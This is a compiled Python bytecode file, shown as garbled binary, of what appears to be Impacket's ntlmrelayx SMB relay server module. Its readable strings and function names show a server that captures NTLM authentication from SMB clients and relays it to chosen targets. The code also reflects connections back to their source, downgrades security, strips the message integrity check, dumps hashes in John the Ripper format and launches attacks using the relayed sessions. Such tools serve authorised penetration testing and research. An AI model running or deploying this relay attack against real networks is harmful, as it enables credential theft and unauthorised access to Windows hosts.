o
    àý°jÈ¸  ã                   @   sh  d dl mZ d dl mZ d dlmZ zd dlZW n ey%   d dlZY nw d dlZd dl	Z	d dl
Z
d dlZd dlZd dlZd dlZd dlZd dlmZmZ d dlmZ d dlmZmZmZmZ d dlmZmZmZmZmZ d d	l m!Z!m"Z"m#Z# d d
l$m%Z%m&Z&m'Z' d dl m(Z(m)Z)m*Z* d dl+m,Z, d dl-m.Z. d dl$m/Z/m0Z0 d dl1m2Z2 dd„ Z3G dd„ deƒZ4dS )é    )Údivision)Úprint_function)ÚThreadN)ÚhexlifyÚ	unhexlify)Úb)ÚsmbÚntlmÚLOGÚsmb3)ÚSTATUS_MORE_PROCESSING_REQUIREDÚSTATUS_ACCESS_DENIEDÚSTATUS_SUCCESSÚSTATUS_NETWORK_SESSION_EXPIREDÚSTATUS_BAD_NETWORK_NAME)ÚSPNEGO_NegTokenRespÚSPNEGO_NegTokenInitÚ	TypesMech)Ú	SMBSERVERÚoutputToJohnFormatÚwriteJohnOutputToFile)ÚASN1_AIDÚ	MechTypesÚASN1_SUPPORTED_MECH)ÚactiveConnections)ÚTargetsProcessor)ÚdecodeSMBStringÚencodeSMBString)Ú	SMB2Errorc                 C   s8   |}|r
|d | }|sd}t  d|› d|› d�¡ d S )Nú/Úunknownz (SMB): Received connection from z at z4, connection will be relayed after re-authentication)r
   Úinfo)Ú	smbServerÚconnDataÚdomain_nameÚ	user_nameÚ	host_nameÚuser© r(   ú¦/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/smbrelayserver.pyÚauth_callback1   s   r*   c                   @   sv   e Zd Zdd„ Zddd„Zdd„ Zdd	„ Zd
d„ Zdd„ Zdd„ Z	dd„ Z
dd„ Zdd„ Zdd„ Zdd„ Zdd„ ZdS )ÚSMBRelayServerc                 C   sd  t  | ¡ d| _d| _|| _d | _| jj| _d | _d | _t	 	¡ }| 
d¡ | ddd¡ | ddd¡ | ddd¡ | dd	d
¡ | ddd¡ | jjdu rV| ddd¡ n| ddd¡ | ddd¡ | jjd urs| dd| jj¡ | jjdu r�| ddd¡ n| ddd¡ | jjd ur—| dd| jj¡ | 
d¡ | ddd¡ | ddd¡ | ddd¡ | ddd¡ | jjrÁ| jj}nd}t|j|f|| jjd�| _| jjsÚ| j t¡ t d¡ tj¡ | j ¡  | j tjj| j ¡| _!| j tjj"| j#¡| _$| j tjj%| j&¡| _'| j (t)j*| j+¡| _,| j (t)j-| j.¡| _/| j (t)j0| j1¡| _2| j 3d|jd¡ d S )NTr   ÚglobalÚserver_nameÚ	server_osÚUNIXÚserver_domainÚ	WORKGROUPÚlog_fileÚNoneÚcredentials_fileÚ ÚSMB2SupportÚTrueÚFalseÚanonymous_logonÚjtr_dump_pathÚdump_hashesÚ	challengeúIPC$Úcommentz	read onlyÚyesz
share typeÚ3Úpathi½  )Úconfig_parserÚipv6zimpacket.smbserverÚSMBRelay)4r   Ú__init__ÚdaemonÚserverÚconfigÚtargetÚtargetprocessorÚauthUserÚproxyTranslatorÚConfigParserÚadd_sectionÚsetÚsmb2supportÚ
outputFileÚ
dumpHashesÚSMBServerChallengeÚlisteningPortr   ÚinterfaceIprC   ÚdisableMultiÚsetAuthCallbackr*   ÚloggingÚ	getLoggerÚsetLevelÚCRITICALÚprocessConfigFileÚhookSmbCommandr   ÚSMBÚSMB_COM_NEGOTIATEÚSmbComNegotiateÚorigSmbComNegotiateÚSMB_COM_SESSION_SETUP_ANDXÚSmbSessionSetupAndXÚorigSmbSessionSetupAndXÚSMB_COM_TREE_CONNECT_ANDXÚsmbComTreeConnectAndXÚorigsmbComTreeConnectAndXÚhookSmb2Commandr   ÚSMB2_NEGOTIATEÚSmbNegotiateÚorigSmbNegotiateÚSMB2_SESSION_SETUPÚSmbSessionSetupÚorigSmbSessionSetupÚSMB2_TREE_CONNECTÚsmb2TreeConnectÚorigsmb2TreeConnectÚaddConnection)ÚselfrH   Ú	smbConfigÚsmbportr(   r(   r)   rE   <   s\   





zSMBRelayServer.__init__Fc              
   C   s
  |j |dd�}t ¡ }tj|d< t|d< d|d< tj|d< d|d	< | jjr×| jj 	¡ d
kr7t
d|d  d�| _| jjdd�| _| jd u rq| jjrY| jjjdd� | jjdd�| _nt d|d  ¡ t|d< tƒ |d< d |gtfS t d|d | jj| jjf ¡ z| jj 	¡ d
kr’t d¡ d}nd}|  |¡}W n, tyÆ }	 z t d| jj| jjt|	ƒf ¡ | j | jd| j¡ W Y d }	~	nd }	~	ww ||d< | ¡ |d< | ||¡ |du râ|d |d< nd|d< d|d< t ¡ }
tj |
d< |du �rt! "|d d ¡}|d  #d¡}d|v �sd|v �rtj$|
d< n	tdƒ‚tj$|
d< t%d  &d!d"„ t'd#ƒD ƒ¡ƒ|
d$< d|
d%< d&|
d'< d&|
d(< d&|
d)< t! (t) *t+ ,¡ ¡¡|
d*< t! (t) *t+ ,¡ ¡¡|
d+< d,|
d-< t-ƒ }t.d. g|d/< | /¡ |
d0< t0|
d0 ƒ|
d1< |
|d< | ||¡ d |gtfS )2NF©ÚcheckStatusÚFlagsÚStatusé   ÚCreditRequestResponseÚCommandr   Ú	SessionIDÚ
REFLECTIONúSMB://%s:445/ÚClientIP©ÚsingleTarget©Ú
multiRelayT©Úfull_reloadúI(SMB): Connection from %s controlled, but there are no more targets left!ÚDataú<(SMB): Received connection from %s, attacking target %s://%sú'(SMB): Downgrading to standard securityú3(SMB): Connection against target %s://%s FAILED: %sÚ	SMBClientÚEncryptionKeyÚ	MessageIDÚTreeIDÚSecurityModeó   s
   SMB 2.002 s
   SMB 2.??? ÚDialectRevisionz)Client does not support SMB2, fallbackingr5   c                 S   s   g | ]}t  tj¡‘qS r(   )ÚrandomÚchoiceÚstringÚascii_letters)Ú.0Ú_r(   r(   r)   Ú
<listcomp>Ð   s    z/SMBRelayServer.SmbNegotiate.<locals>.<listcomp>é   Ú
ServerGuidÚCapabilitiesi   ÚMaxTransactSizeÚMaxReadSizeÚMaxWriteSizeÚ
SystemTimeÚServerStartTimeé€   ÚSecurityBufferOffsetú2NTLMSSP - Microsoft NTLM Security Support Providerr   ÚBufferÚSecurityBufferLength)1ÚgetConnectionDatar   Ú
SMB2PacketÚSMB2_FLAGS_SERVER_TO_REDIRr   ri   rH   rV   ÚmodeÚupperr   rJ   Ú	getTargetrI   ÚkeepRelayingÚreloadTargetsr
   r!   r   r   ÚschemeÚnetlocÚdebugÚinit_clientÚ	ExceptionÚerrorÚstrÚregisterTargetrK   ÚgetStandardSecurityChallengeÚsetConnectionDataÚSMB2Negotiate_ResponseÚSMB2_NEGOTIATE_SIGNING_ENABLEDr   Ú
SMBCommandÚsplitÚSMB2_DIALECT_002r   ÚjoinÚrangeÚ	POSIXtoFTÚcalendarÚtimegmÚtimeÚgmtimer   r   ÚgetDataÚlen)rs   ÚconnIdr"   Ú
recvPacketÚisSMB1r#   Ú
respPacketÚextSecÚclientÚeÚrespSMBCommandr»   ÚdialectsÚblobr(   r(   r)   rj   ˆ   s|   



 
  €þ


 zSMBRelayServer.SmbNegotiatec              
   C   sV  |j |dd�}| jjs/d|vs|d s/|  |||¡\}}}d|d jv r*d|d d< |||fS t ¡ }t |d ¡}	|	d |d< |	d }
d}t 	d	|
dd
… ¡d t
kr®t|
ƒ}|d }t|d d ƒdkr­|d d }|td kr­|tv r{t| }nt|ƒ}| d| tj¡ tƒ }d|d< td |d< | ¡ }d|d< t|ƒ|d< ||d< |gd tfS nt 	d	|
dd
… ¡d tkrÅt|
ƒ}|d }nd}|
}t 	d|tdƒtdƒd … ¡d }|d
k�r€t ¡ }| |¡ ||d< | d¡}|d u �rt d| jj| jjf ¡ d|d< d|d< d|d< |  ||¡ |gd t!fS z|  "||¡}|�s2t#d| jj| jjf ƒ‚W n! t#�yT } zt dt$|ƒ ¡ | j% &| jd| j'¡ ‚ d }~ww |du �rntƒ }d |d< td |d< | ¡ |d< n|}t}t( )d
d!¡|d"< ||d#< �n|d$k�r‰t#d%ƒ‚|d&k�r}|d }t *¡ }| |¡ | +¡ | _'|du �r°tƒ }|
|d< | ¡ }
| jj,�rÃ|  -|||d# d' ¡\}}n|  -||
|d# d' ¡\}}|t.k�rót d(| jj| jj| j'f ¡ | j% &| jd| j'¡ | /¡  nv| 0¡  t 1d)| j'|d* | jj| jj|j2f ¡ | jj3�s| j% &| jd| j'¡ t4|d# d' |d+ |d, |d- |d. ƒ}||j5d/< | j6 7¡ �rBt 1d0|d1  ¡ | j6 8¡ d2k�rWt9|d1 |d3 | j6 8¡ ƒ d|d4< | jj�sdd|d< |  :|¡ |du �rvtƒ }d5|d< nd2}||d6< nt#d7| ƒ‚d|d< t|ƒ|d< |d dk�r›| ¡ |d< nd2|d< |  ||¡ |gd |fS )8NFrv   ÚrelayToHostÚSessionFlagsr   rˆ   rœ   r¥   ÚBrz   Ú	MechTokenr   r¤   zUnsupported MechType '%s'ó   ÚNegStateÚSupportedMechéH   r£   r¦   ÚResponseTokenTú<LúNTLMSSP é   ÚNEGOTIATE_MESSAGErŒ   ú5(SMB): No relay client initialized for target %s://%só    ú*No challenge message returned from %s://%sú (SMB): NTLM negotiate failed: %só   l   ÿÿ ÚUidÚCHALLENGE_MESSAGEé   z)Challenge Message raise, not implemented!é   r<   ú2(SMB): Authenticating against %s://%s as %s FAILEDúH(SMB): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]r€   r%   r$   Úlanmanr	   ÚJOHN_OUTPUTú	(SMB): %sÚhash_stringr5   Úhash_versionÚAuthenticatedó    ÚAUTHENTICATE_MESSAGEúUnknown NTLMSSP MessageType %d);r§   rH   rV   rn   Úfieldsr   ÚSMB2SessionSetup_ResponseÚSMB2SessionSetupÚstructÚunpackr   r   rÆ   r   r   r   ÚlogrX   ÚDEBUGr   rÅ   r   r   r	   ÚNTLMAuthNegotiateÚ
fromStringÚgetr
   r´   rI   r¯   r°   r¸   r   Údo_ntlm_negotiater³   rµ   rJ   r¶   rK   r“   ÚrandintÚNTLMAuthChallengeResponseÚgetUserStringÚ
remove_micÚdo_ntlm_authr   ÚkillConnectionÚsetClientIdr!   Ú	client_idÚisADCSAttackr   ÚsessionDatarG   ÚgetDumpHashesÚgetJTRdumpPathr   Ú	do_attack)rs   rÇ   r"   rÈ   r#   ÚrespCommandsÚrespPacketsÚ	errorCoderÎ   ÚsessionSetupDataÚsecurityBlobÚrawNTLMrÐ   ÚtokenÚmechTypeÚmechStrÚ	respTokenÚmessageTypeÚnegotiateMessagerÌ   ÚchallengeMessagerÍ   ÚauthenticateMessageÚ
respToken2ÚclientResponseÚntlm_hash_datar(   r(   r)   rm   ç   sö   

€
$



ÿ€ý








ÿ
ÿ

(
ý
ÿ




zSMBRelayServer.SmbSessionSetupc              
   C   sr  |  |¡}|d }| ¡ | _| jjr|  |||¡S zt| jj ¡ dkr,td|d  d�| _	| j	j
| jd�| _| jd u rc| jjrO| jjjdd� | j	j
d	d
�| _nt d| j|d f ¡ |  |||¡W S t d| j|d | jj| jjf ¡ | jj ¡ dkr…t d¡ d	}nd}|  |¡}W n, ty¹ } z t d| jj| jjt|ƒf ¡ | j	 | jd	| j¡ W Y d }~n&d }~ww d|d< d	|d< |d= |d= |d= ||d< | ¡ |d< | ||¡ t ¡ }	tj|	d< t|	d< d|	d< |d |	d< |d |	d< |d |	d< |d |	d< |d |	d< t ¡ }
t}||	d< d|
d < d!|
d"< |
|	d#< |d$ �r-|  |	|d% ¡ | ||¡ d |	g|fS )&Nrð   r~   r   r€   r�   ©ÚidentityTr…   Frƒ   úL(SMB): Connection from %s@%s controlled, but there are no more targets left!úA(SMB): Connection from %s@%s controlled, attacking target %s://%srŠ   r‹   rÑ   rî   rÝ   rä   rŒ   r�   rx   ry   rz   r{   r|   rã   r}   ÚReservedrŽ   r�   r   rœ   iÿ ÚMaximalAccessrˆ   ÚSignatureEnabledÚSigningSessionKey)!r§   rÿ   rK   rH   rV   rq   rª   r«   r   rJ   r¬   rI   r­   r®   r
   r!   r¯   r°   r±   r²   r³   r´   rµ   r¶   r·   r¸   r   r¨   r©   r   ÚSMB2TreeConnect_Responser   Ú	signSMBv2)rs   rÇ   r"   rÈ   r#   r  rË   rÌ   rÍ   rÊ   rÎ   r  r(   r(   r)   rp   ¦  sj   


$
  €þ

zSMBRelayServer.smb2TreeConnectc           	   
   C   sø  |j |dd�}| jjrÒ| jj ¡ dkrtd|d  d�| _| jjdd�| _| jd u rS| jj	r?| jjj
dd	� | jjdd�| _nt d
|d  ¡ t tjj¡gd tfS t d|d | jj| jjf ¡ z1|d tjj@ dkrqd}n| jj ¡ dkrŒt d¡ d}|d  tjj 7  < nd}|  |¡}W n, tyÀ } z t d| jj| jjt|ƒf ¡ | j | jd| j¡ W Y d }~n8d }~ww ||d< | ¡ |d< | ||¡ n"|d tjj@ dkrô| jj ¡ dkrôt d¡ |d  tjj 7  < |  ||||¡S )NFrv   r~   r   r€   r�   rƒ   Tr…   r‡   r‰   ÚFlags2r   rŠ   r‹   rŒ   r�   )r§   rH   rV   rª   r«   r   rJ   r¬   rI   r­   r®   r
   r!   r   r»   r^   r_   r   r¯   r°   ÚFLAGS2_EXTENDED_SECURITYr±   r²   r³   r´   rµ   r¶   rK   r·   r¸   ra   )	rs   rÇ   r"   r»   rÈ   r#   rË   rÌ   rÍ   r(   r(   r)   r`   û  sD   
 
  €þ
zSMBRelayServer.SmbComNegotiatec              
   C   sB  |j |dd�}| jjsd|vs|d s|  ||||¡S t tjj¡}|d d tjj@ �r‡t 	¡ }t 
¡ }t |d ¡}	t ¡ }
|	d |
d< |
 |d ¡ |	d |d< d}t d	|
d
 dd… ¡d tkrpt|
d
 ƒ}|d }n
t|
d
 ƒ}|d }t d|tdƒtdƒd … ¡d }|dk�r_t ¡ }| |¡ ||d< | d¡}|d u �rt ¡ }tjjtjjB |d< tjjtjjB |d< |d |d< |d |d< |d |d< |d |d< |d |d< d|d< td? |d< td@ |d< t d | jj | jj!f ¡ | "||¡ d |gtfS z|  #||¡}|�st$d!| jj | jj!f ƒ‚W n! t$�y? } zt d"t%|ƒ ¡ | j& '| jd| j(¡ ‚ d }~ww tƒ }d#|d$< t)d% |d&< | *¡ |d< t+}d'|d< ||d(< �n|d)k�rm|d }t ,¡ }| |¡ | -¡ | _(|  .||
d
 |d( d* ¡\}}|t/k�rót ¡ }tjjtjjB |d< tjjtjjB |d< |d |d< |d |d< |d |d< |d |d< |d |d< d|d< |d? |d< |d@ |d< t d+| jj | jj!| j(f ¡ | j& '| jd| j(¡ | 0¡  d |g|fS | 1¡  t 2d,| j(|d- | jj | jj!|j3f ¡ | j& '| jd.| j(¡ t4|d( d* |d/ |d0 |d1 |d2 ƒ}||j5d3< | j6 7¡ �r=t 2d4|d5  ¡ | j6 8¡ d6k�rRt9|d5 |d7 | j6 8¡ ƒ |  :|¡ tƒ }d8|d$< d.|d9< d|d< t/}||d:< nt$d;| ƒ‚t|ƒ|d< |d |d< | *¡ |d
< �nt ;¡ }t <¡ }t =|d ¡}	t >¡ }
|	d< |
d<< |	d= |
d=< |
 |d ¡ |d }| ?|
¡\}}|t/k�rt ¡ }tjjtjjB |d< tjjtjjB |d< |d |d< |d |d< |d |d< |d |d< |d |d< d|d< |d? |d< |d@ |d< | j& '| jd| j(¡ d |g|fS | 1¡  d>|
d? |
d@ f  @¡ | _(t 2d,| j(|d- | jj | jj!|j3f ¡ | j& '| jd.| j(¡ t4d6|
d@ |
d? |
dA |
dB ƒ}||j5d3< | j6 7¡ �rft 2d4|d5  ¡ | j6 8¡ d6k�r{t9|d5 |d7 | j6 8¡ ƒ d.|d9< | jj�sˆd|d< |  :|¡ ||d< ||d< | "||¡ |gd |fS )CNFrv   rÑ   Ú_dialects_parametersrœ   Ú
ParametersÚSecurityBlobLengthrˆ   rÓ   ÚSecurityBlobr   rz   rÙ   rÔ   rÚ   rÛ   rÜ   rÝ   rŒ   ÚFlags1r%  r|   ÚPidÚTidÚMidrã   s      rš   Ú	ErrorCodeéÿ   Ú
ErrorClassrÞ   rà   rá   râ   rÖ   r¤   r×   é
   rä   ræ   r<   rç   rè   r€   Tr%   r$   ré   r	   rê   rë   rì   r5   rí   rï   rî   rð   rñ   ÚAnsiPwdLengthÚUnicodePwdLengthz%s/%sÚPrimaryDomainÚAccountÚAnsiPwdÚ
UnicodePwd)Ar§   rH   rV   rd   r   r»   r^   rb   ÚCAP_EXTENDED_SECURITYÚ0SMBSessionSetupAndX_Extended_Response_ParametersÚ*SMBSessionSetupAndX_Extended_Response_DataÚ'SMBSessionSetupAndX_Extended_ParametersÚ!SMBSessionSetupAndX_Extended_Datarú   rõ   rö   r   r   r   rÆ   r	   rù   rû   ÚNewSMBPacketÚFLAGS1_REPLYÚFLAGS1_PATHCASELESSÚFLAGS2_NT_STATUSr&  r   r
   r´   rI   r¯   r°   r¸   rü   r³   rµ   rJ   r¶   rK   r   rÅ   r   rþ   rÿ   r  r   r  r  r!   r  r   r  rG   r  r  r   r	  Ú&SMBSessionSetupAndXResponse_ParametersÚ SMBSessionSetupAndXResponse_DataÚSMBSessionSetupAndX_ParametersÚSMBSessionSetupAndX_DataÚsendStandardSecurityAuthr«   )rs   rÇ   r"   r»   rÈ   r#   rÎ   ÚrespParametersÚrespDataÚsessionSetupParametersr  r  rÐ   r  r  r  rÌ   Úpacketr  rÍ   r  r  r  r  r  r˜   r(   r(   r)   rc   -  s0   
$



ÿ€ý



ÿ
(ý
ÿ


(ÿ
ÿ

z"SMBRelayServer.SmbSessionSetupAndXc              
   C   sn  |  |¡}|d }| ¡ | _| jjr|  ||||¡S z| jj ¡ dkr-td|d  d�| _	| j	j
| jd�| _| jd u rd| jjrP| jjjdd� | j	j
d	d
�| _nt d| j|d f ¡ |  |||¡W S t d| j|d | jj| jjf ¡ | jj ¡ dkr‘t d¡ d	}|d  tjj 7  < nd}|  |¡}W n, tyÅ }	 z t d| jj| jjt|	ƒf ¡ | j	 | jd	| j¡ W Y d }	~	n&d }	~	ww d|d< d	|d< |d= |d= |d= ||d< | ¡ |d< | ||¡ t ¡ }
tjj|
d< tjjtjjB tjj B |d tjj!@ B |
d< |d |
d< |d |
d< |d |
d< t "tjj#¡}t $¡ }t %¡ }t &|d ¡}|d d@ �r:t '¡ }tj(|d d�}|d |d< | )|d  ¡ t*|d |d! ƒ}t+ ,|¡�rf| -d"¡d# }nt+ .|¡}t/}|d$? |
d%< d#|
d&< |d'@ |
d(< |d)k�r‡d*|d+< n||d+< d,|d-< t0|d d.ƒ|d/< ||d< ||d < |d0 |
d0< |
 1|¡ | ||¡ d |
g|fS )1Nrð   r~   r   r€   r�   r  Tr…   Frƒ   r  r  rŠ   r%  r‹   rÑ   rî   rÝ   rä   rŒ   r�   r+  r-  r.  r,  r(  rx   é   )ÚflagsÚPasswordLengthÚ_PasswordLengthrˆ   ÚPathú\ræ   rš   r/  Ú	_reservedr0  r1  r=   ÚIPCÚServicer   ÚPadLenÚNTFSÚNativeFileSystemrã   )2r§   rÿ   rK   rH   rV   rg   rª   r«   r   rJ   r¬   rI   r­   r®   r
   r!   r¯   r°   r±   r   r^   r&  r²   r³   r´   rµ   r¶   r·   r¸   r>  r?  rA  ÚFLAGS2_LONG_NAMESÚFLAGS2_UNICODEr»   re   Ú%SMBTreeConnectAndXResponse_ParametersÚSMBTreeConnectAndXResponse_DataÚSMBTreeConnectAndX_ParametersÚ-SMBTreeConnectAndXExtendedResponse_ParametersÚSMBTreeConnectAndX_Datarú   r   ÚntpathÚismountr¼   Úbasenamer   r   Ú
addCommand)rs   rÇ   r"   r»   rÈ   r#   r  rË   rÌ   rÍ   ÚresprÎ   rG  rH  ÚtreeConnectAndXParametersÚtreeConnectAndXDataÚ
UNCOrSharerA   r  r(   r(   r)   rf   #  sŽ   


$
  €þÿ



z$SMBRelayServer.smbComTreeConnectAndXc                 C   sZ   | j j ¡ | jjv r%| jj| j j ¡  | j| j |d�}| ¡ s#tdƒ‚|S td| j j ƒ‚)N)ÚextendedSecurityzCould not initialize connectionz!Protocol Client for %s not found!)rI   r¯   r«   rH   ÚprotocolClientsÚinitConnectionr³   )rs   rË   rÌ   r(   r(   r)   r²   �  s   "ýzSMBRelayServer.init_clientc                 C   s
   |  |¡S ©N)ÚsendNegotiate)rs   rÌ   r  r(   r(   r)   rü   š  s   
z SMBRelayServer.do_ntlm_negotiatec                 C   s   |  ||¡\}}||fS ri  )ÚsendAuth)rs   rÌ   ÚSPNEGO_tokenr<   r  r  r(   r(   r)   r  ž  s   zSMBRelayServer.do_ntlm_authc                 C   s¸   | j jr+| jj ¡ | j jjv r+| j jdu r+t | jj	|j
| jj ¡ | j||jf¡ d S | jj ¡ | j jv rO| j j| jj ¡  | j |j| j| j|ƒ}| ¡  d S t d| jj ¡  ¡ d S )NTz"(SMB): No attack configured for %s)rH   ÚrunSocksrI   r¯   r«   ÚsocksServerÚsupportedSchemesr   ÚputÚhostnameÚ
targetPortrK   r  ÚattacksÚsessionÚstartr
   r´   )rs   rÌ   ÚclientThreadr(   r(   r)   r	  ¤  s   
ÿ(zSMBRelayServer.do_attackc                 C   s*   d| j _| j  ¡  t d¡ | j  ¡  d S )NTzShutting down SMB Server)rG   Údaemon_threadsÚserve_foreverr
   r!   Úserver_close©rs   r(   r(   r)   Ú_start¶  s   

zSMBRelayServer._startc                 C   s"   t  d| jjd  ¡ |  ¡  d S )Nz Setting up SMB Server on port %srz   )r
   r!   rG   Úserver_addressr{  rz  r(   r(   r)   Úrun¼  s   zSMBRelayServer.runN)F)Ú__name__Ú
__module__Ú__qualname__rE   rj   rm   rp   r`   rc   rf   r²   rü   r  r	  r{  r}  r(   r(   r(   r)   r+   ;   s     
L_ @U2 wlr+   )5Ú
__future__r   r   Ú	threadingr   rM   ÚImportErrorÚconfigparserrõ   rX   rÃ   rÁ   r“   r•   Úsocketr^  Úbinasciir   r   Úsixr   Úimpacketr   r	   r
   r   Úimpacket.nt_errorsr   r   r   r   r   Úimpacket.spnegor   r   r   Úimpacket.smbserverr   r   r   r   r   r   Ú0impacket.examples.ntlmrelayx.servers.socksserverr   Ú/impacket.examples.ntlmrelayx.utils.targetsutilsr   r   r   Úimpacket.smb3structsr   r*   r+   r(   r(   r(   r)   Ú<module>   s:   ÿ
